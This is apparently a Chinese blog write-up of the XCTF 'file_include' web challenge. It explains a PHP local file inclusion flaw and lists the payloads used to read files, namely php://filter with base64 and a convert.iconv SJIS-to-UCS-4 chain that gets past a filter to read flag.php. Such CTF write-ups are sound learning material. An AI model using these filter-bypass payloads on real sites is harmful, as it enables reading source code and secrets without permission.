当前位置: 首页 > article >正文

XCTF-web-file_include

在这里插入图片描述

解析

<?php
highlight_file(__FILE__);        // 高亮显示当前PHP文件源代码
include("./check.php");          // 包含检查文件(可能包含安全过滤逻辑)if(isset($_GET['filename'])) {   // 检查是否传入filename参数$filename = $_GET['filename'];  // 获取用户传入的文件名include($filename);           // 直接包含该文件
}
?>

?filename=php://filter/convert.base64-encode/resource=./check.php,并没有得到flag

在这里插入图片描述

尝试绕过
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php
php://filter是PHP的一种输入/输出流过滤器,用于对资源进行转换操作。
convert.iconv.SJIS*.UCS - 4*表示使用iconv转换,将编码从SJIS相关编码转换为UCS - 4相关编码。
resource=index.php表示要处理的资源是“index.php”文件
将恶意代码用 SJIS 编码后,再通过 convert.iconv 转换为 UCS-4 编码
*通配符可能绕过了过滤规则中对特定编码格式的检查
URL 中的双斜杠 // 可能被某些解析器处理为单斜杠,绕过路径检查

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./check.php但是并没有得到flag

在这里插入图片描述

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./flag.php得到flag

在这里插入图片描述

http://www.lryc.cn/news/2392169.html

相关文章:

  • 5.28 后端面经
  • CPP中CAS std::chrono 信号量与Any类的手动实现
  • PHP生成pdf方法
  • 【Android笔记】记一次 CMake 构建 Filament Android 库的完整排错过程(安卓交叉编译、CMake、Ninja)
  • C#中的BeginInvoke和EndInvoke:异步编程的双剑客
  • 告别延迟!modbus tcp转profine网关助力改造电厂改造升级
  • 《软件工程》第 5 章 - 需求分析模型的表示
  • 解释k8s种ConfigMap和Secret的作用,如何在Pod中挂载环境变
  • 阿里云国际版香港轻量云服务器:CN2 GIA加持,征服海外网络的“速度与激情”!
  • Qt6无法识别OpenCV(Windows端开发)
  • 二、网络安全常见编码及算法-(2)
  • Windows系统安装MySQL Connector 使用C++ VS2022连接MySQL
  • D2000平台上Centos使用mmap函数遇到的陷阱
  • Elasticsearch索引机制与Lucene段合并策略深度解析
  • BPE、WordPiece 与 Unigram:三种主流子词分词算法对比
  • 青少年编程与数学 02-020 C#程序设计基础 11课题、可视化编程
  • AI时代新词-AI驱动的自动化(AI - Driven Automation)
  • 整合Jdk17+Spring Boot3.2+Elasticsearch9.0+mybatis3.5.12的简单用法
  • Starrocks 物化视图的实现以及在刷新期间能否读数据
  • 前后端传输 Long 类型数据时(时间戳,雪花算法ID),精度丢失的根本原因
  • 探索容器技术:Docker与Kubernetes的实践指南
  • Ubuntu从0到1搭建监控平台:本地部署到公网访问实战教程Cpolar穿透与Docker部署全过程
  • vscode java debug terminal 中文乱码
  • 3D PDF如何制作?SOLIDWORKS MBD模板定制技巧
  • Qt DateTimeEdit(时间⽇期的微调框)
  • C# 类和继承(屏蔽基类的成员)
  • 基于qt5和stk10开发的互联调试
  • matlab雷达定位仿真
  • 基于vue框架的动物园饲养管理系统a7s60(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • MySQL 索引和事务